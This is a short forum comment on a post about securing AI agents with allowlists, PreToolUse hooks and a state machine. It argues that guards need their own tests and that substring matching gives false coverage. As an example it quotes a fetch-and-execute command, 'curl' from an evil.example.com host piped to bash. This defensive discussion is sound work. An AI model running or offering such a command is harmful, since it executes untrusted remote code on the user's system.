---
title: "Comment by Kartik N V J K on \"Skills, Hooks, and a State Machine: What It Takes to Trust an Agent\" | Hashnode"
description: "Moving enforcement out of the prompt and into an allowlist plus a PreToolUse hook is the right instinct, since a probabilistic instruction is exactly the wrong"
url: "https://hashnode.com/posts/skills-hooks-state-machine-what-it-takes-to-trust-an-agent/6a671116f91d417df82c64b5/comment/6a68fe9624acac07155a45fe"
---

[Discussion](https://hashnode.com/posts/skills-hooks-state-machine-what-it-takes-to-trust-an-agent/6a671116f91d417df82c64b5)

Comment [Skills, Hooks, and a State Machine: What It Takes to Trust an Agent](https://hashnode.com/posts/skills-hooks-state-machine-what-it-takes-to-trust-an-agent/6a671116f91d417df82c64b5)

[Kartik N V J K](https://hashnode.com/@kartik-nvj)

[Jul 28](https://hashnode.com/posts/skills-hooks-state-machine-what-it-takes-to-trust-an-agent/6a671116f91d417df82c64b5/comment/6a68fe9624acac07155a45fe)

Moving enforcement out of the prompt and into an allowlist plus a PreToolUse hook is the right instinct, since a probabilistic instruction is exactly the wrong place to put a security boundary. The curl | bash versus curl [https://evil.example.com](https://evil.example.com/) | bash catch is a great argument for testing the guard itself, because a naive substring match hands you a false sense of coverage that is worse than no check. For the state machine, how do you keep the step-sequence enforcement from turning brittle when a legitimate task genuinely needs to skip a stage?
